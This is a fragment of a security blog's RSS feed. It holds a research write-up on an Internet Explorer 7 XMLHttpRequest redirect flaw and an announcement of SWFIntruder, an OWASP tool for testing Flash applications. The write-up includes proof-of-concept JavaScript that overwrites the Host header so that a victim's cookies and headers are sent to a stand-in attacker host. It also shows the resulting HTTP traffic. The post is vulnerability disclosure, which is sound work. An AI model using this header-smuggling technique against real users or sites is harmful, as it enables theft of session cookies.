		<content:encoded><![CDATA[	When I was researching ways exploit <a href="http://www.mindedsecurity.com/MSA02240108.html">MSA02240108 'Microsoft Internet Explorer allows overwriting of several headers leading to Http request Splitting and smuggling'</a>, one of the interesting exploits I've found is that by taking advantage of XHR redirect feature in IE7, header stealing is possible also from an attacker site.<br />
<br />
Let's see how: <br />
When dealing with a XMLHttpRequest, Internet Explorer 7 follows redirect also on external urls.<br />
Moreover, every added header is sent to the latter request as well.<br />
Infact, <br />
<code><pre><br />
var x=new XMLHttpRequest();<br />
x.open("POST","/page.html?redirect=http://anotherhost.tld");<br />
x.setRequestHeader("Blah","Blah2");<br />
 x.onreadystatechange=function (){<br />
    if (x.readyState == 4){<br />
     alert(x.responseText)<br />
   }<br />
 }<br />
x.send("blah");</pre><br />
</code><br />
is executed and generates the following HTTP traffic:<br />
<br />
<code><br />
GET /page.html?redirect=http://anotherhost.tld HTTP/1.1<br />
Cookie: SomeCookie_to_ahost.tld<br />
Host: ahost.tld<br />
Blah: Blah2<br />
<br />
HTTP/1.1 302 Moved Temporarily<br />
Location: <b>http://anotherhost.tld</b><br />
Content-lenght: 0<br />
<br />
<br />
GET / HTTP/1.1<br />
Cookie: SomeCookie_to_anotherhost.tld<br />
Host: anotherhost.tld<br />
<b>Blah: Blah2 &lt;-- IE Sends it to anotherhost too!</b><br />
<br />
HTTP/1.1 200 OK<br />
...<br />
<br />
&lt;html&gt;<br />
Body that will never be accessible from a XMLHttpRequest originating from another host.<br />
&lt;/html&gt;<br />
</code><br />
<br />
but of course x.responseText is empty.<br />
<br />
Now, let's suppose there's a victim host vhosted on the same server of an attacker site.<br />
<br />
<code><pre><br />
var x=new XMLHttpRequest();<br />
x.open("POST","/index.html");<br />
x.setRequestHeader("Host"+String.fromCharCode(223),"http://at.tacker.com");<br />
x.setRequestHeader("Connection","keep-alive");<br />
 x.onreadystatechange=function (){<br />
    if (x.readyState == 4){<br />
   }<br />
 }<br />
x.send("blah");</pre><br />
</code><br />
<br />
where index.html simply redirect with:<br />
<br />
<code><br />
HTTP/1.1 302 Moved Temporarily<br />
Location: <b>http://vi.ct.im/victimpage.html</b><br />
</code><br />
<br />
The overwritten Host header will still be there on the redirected request because IE7 considers it as an additional header, but every other header will be as if the request is to vi.ct.im host.<br />
<br />
<code><br />
GET /victimpage.html HTTP/1.1<br />
<b>Host: at.tacker.com<br />
Cookie: some_cookie_that_should_be_sent_to_vi.ct.im<br />
Header1: some_value1_that_should_be_sent_to_vi.ct.im<br />
Header2: some_value2_that_should_be_sent_to_vi.ct.im<br />
Header3: some_value3_that_should_be_sent_to_vi.ct.im<br />
</b><br />
</code><br />
Which will be sent to the server. The server sees the Host: at.tacker.com header and sends the whole request to it, letting the cookie and other sensitive data in headers, to be directly stealed by at.ttacker.com.<br />
<br />
Now my question is:<br />
Why following a redirect to external hosts since the response could not be get from javascript, because of <br />
Same Origin Policy?<br />
...<br />
Just to introduce some other potential security issue?<br /> ]]></content:encoded>
</item>
<item>
		<title>Security Thoughts: The first release of SWFIntruder is out!!</title>
		<link>http://www.wisec.it/sectou.php?id=47557e2774237</link>
		<pubDate>Tue, 04 Dec 2007 11:10:00 -0600</pubDate>
		<guid>http://www.wisec.it/sectou.php?id=47557e2774237</guid>
		<content:encoded><![CDATA[	I am proud to announce first release of <b><a href="https://www.owasp.org/index.php/Category:SWFIntruder">SWFIntruder</a></b>.<br />
<b>SWFIntruder</b> (pronounced <i>Swiff Intruder</i>) is the first tool specifically developed for analyzing and testing security of Flash applications at runtime.<br />
It helps to find flaws in Flash applications using the methodology originally described in <a href="http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt">Testing Flash Applications</a> and in <a href="http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt">Finding Vulnerabilities in Flash Applications</a>.<br />
<br />
Some neat feature:<br />
<blockquote><p><i><br />
    * Basic predefined attack patterns.<br />
    * Highly customizable attacks.<br />
    * Highly customizable undefined variables.<br />
    * Semi automated Xss check.<br />
    * User configurable internal parameters.<br />
    * Log Window for debugging and tracking.<br />
    * History of latest 5 tested SWF files.<br />
    * ActionScript Objects runtime explorer in tree view.<br />
    * Persistent Configuration and Layout.</i><br />
</p></blockquote><br />
SWFIntruder is <a href="https://www.owasp.org/index.php/Category:SWFIntruder">hosted</a>  @ <a href="http://www.owasp.org">OWASP</a> and is sponsored by <a href="http://www.mindedsecurity.com">Minded Security</a>.<br />
<br />
Check it out and let me know!<br />
Any comments will be appreciated.<br /> ]]></content:encoded>
</item>


</channel>
</rss>
